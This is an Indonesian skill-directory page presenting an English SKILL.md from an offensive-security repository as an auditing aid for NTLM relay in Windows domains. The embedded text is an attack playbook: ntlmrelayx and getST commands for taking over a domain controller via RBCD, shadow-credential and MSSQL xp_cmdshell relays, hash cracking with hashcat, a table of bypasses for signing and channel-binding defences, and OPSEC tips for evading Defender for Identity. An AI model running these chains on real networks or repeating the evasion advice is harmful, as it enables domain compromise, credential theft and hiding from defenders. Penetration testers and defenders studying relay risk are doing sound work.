Langsung ke konten
Skillpedia
Keamanan6.5k Β· #13945

ad-ntlm-relay

Fungsinya

Skill ini adalah panduan rinci tentang NTLM relay, kelemahan login Windows saat login yang ditangkap diteruskan ke layanan lain. Skill ini untuk penguji dan auditor keamanan yang perlu memahami risiko dalam sebuah domain.

Kapan dipakai

  • βœ“Saat seorang penguji keamanan bertanya layanan mana dalam domain yang berwenang yang bisa terdampak NTLM relay.
  • βœ“Ketika agent perlu memeriksa apakah SMB signing dimatikan pada workstation.
  • βœ“Ketika sebuah laporan harus menjelaskan risiko dan perbaikan NTLM relay dengan bahasa sederhana.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBisakah Anda memeriksa mesin mana di jaringan kami yang berwenang yang mematikan SMB signing, agar kami tahu di mana NTLM relay mungkin terjadi?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent menyusun daftar mesin target yang SMB signing-nya mati, membandingkan layanan yang bisa menerima login yang diteruskan, dan melaporkan temuannya.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

NTLM Relay Deep Dive

You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.

Target selection matrix

Target protocol Outcome Requires
LDAP / LDAPS to a DC Add user to Domain Admins, RBCD, modify ACL Victim is local admin OR LDAPS allows signing
SMB to a workstation Code exec on that workstation SMB signing OFF on target (servers often have it ON)
HTTP /certsrv/ (ADCS) Cert for victim β€” auth as them ADCS Web Enrollment enabled
MSSQL Database access; xp_cmdshell if linked Victim has DB privs
IMAP (Exchange) Mailbox access Victim has mailbox
HTTP /EWS (Exchange) Mailbox + autodiscover EWS reachable
LDAPS to DC for shadow creds Set msDS-KeyCredentialLink on a victim LDAPS + WriteProperty

SMB signing β€” the key constraint

Target Default SMB signing
DC REQUIRED (signing on, must verify) β€” can't relay SMB to DC
Domain workstations NOT REQUIRED (off by default) β€” can relay
File servers usually REQUIRED
Linux Samba varies

Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt β€” gives you the list of targets where SMB signing is OFF.

Most useful chains

Coerce β†’ relay to LDAP β†’ RBCD attack

# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# β†’ TGS as Administrator for cifs on the DC β€” full takeover

Coerce β†’ relay to ADCS β†’ DA cert

See ad-certipy-esc-chain skill β€” chain ends with certipy auth β†’ krbtgt.

Responder β†’ relay to LDAP for Shadow Credentials

sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy

Relay to MSSQL β€” pivot via xp_cmdshell

sudo impacket-ntlmrelayx -t mssql://sqlserver.target.local -smb2support
# When relayed:
[ntlmrelayx] EXEC AS LOGIN sa: SUCCEED
[ntlmrelayx] Enabling xp_cmdshell on target
[ntlmrelayx] xp_cmdshell SUCCEED: id of nt service\mssqlserver

Multi-relay β€” fan-out one auth to many targets

# -tf file_of_targets: relay to each in turn
sudo impacket-ntlmrelayx -tf relays.txt -smb2support
# crackmapexec --gen-relay-list builds the relays.txt file (SMB-signing-OFF hosts)

When to crack instead of relay

If the auth is NetNTLMv2 (came from SMB1/SMB2, HTTP, etc.):

# Save the captured hash
# Responder writes to /usr/share/responder/logs/Responder-Session.log
hashcat -m 5600 hash.txt rockyou.txt -r best64.rule
# m=5600 β†’ NetNTLMv2 cracking; works well on rockyou+rules

Relay is BETTER when:

  • You don't have time to crack (operationally bounded engagement)
  • The hash is from a service account / computer account (uncrackable)
  • The target requires the actual session (e.g., LDAPS, signed SMB)

Crack is BETTER when:

  • You want offline persistence (don't need to be on the wire)
  • The credentials are reusable across services
  • Auth was from a normal user with a weak password

Signing-required mitigations and bypasses

Defense Bypass
SMB signing required on target Relay to NON-SMB target (LDAP, HTTP, MSSQL)
LDAP channel binding Relay to LDAPS instead (different binding rules)
Extended Protection for Authentication (EPA) Relay to a service that doesn't enforce EPA (older Exchange, etc.)
MS16-075 ("hot potato" SMB→SMB block) Cross-protocol relay works around it

OPSEC

  • Coercion is the LOUDEST step. Use unauthenticated PetitPotam variants where possible.
  • LDAP relay creates events 4662 (object access) and 5136 (directory modify) on the DC β€” distinctive when DC$ modifies its own attributes via NTLM auth.
  • MDI (Defender for Identity) flags NTLM relay via the source-vs-destination IP mismatch heuristic. Use a network position physically close to the victim to minimize the geographical jump.

References

  • impacket ntlmrelayx β€” github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
  • dirk
Pertanyaan umum

Apa itu SMB signing?

Itu adalah pengaturan yang memeriksa integritas lalu lintas berbagi file. Jika dimatikan, beberapa login yang diteruskan bisa diterima.

Mengapa domain controller tidak bisa dijadikan target relay lewat SMB?

Skill menyatakan domain controller biasanya mewajibkan SMB signing, yang memblokir jalur itu.

Apakah skill menjelaskan perbaikannya?

Skill menyebut mengaktifkan signing dan membatasi target relay, dan pemilik sistem yang memilih perbaikan mana yang dipakai.

Detail

Deskripsi asli dari pembuat

NTLM relay deep-dive β€” `ntlmrelayx` configuration matrix (SMB, LDAP, LDAPS, HTTP, RPC, IMAP, MSSQL), SMB-signing bypass, target selection (DC for DCSync, ADCS for cert, LAPS reader for cleartext), session relay vs cracking trade-off, multi-relay (forward auth from one victim to many).

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#13945
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa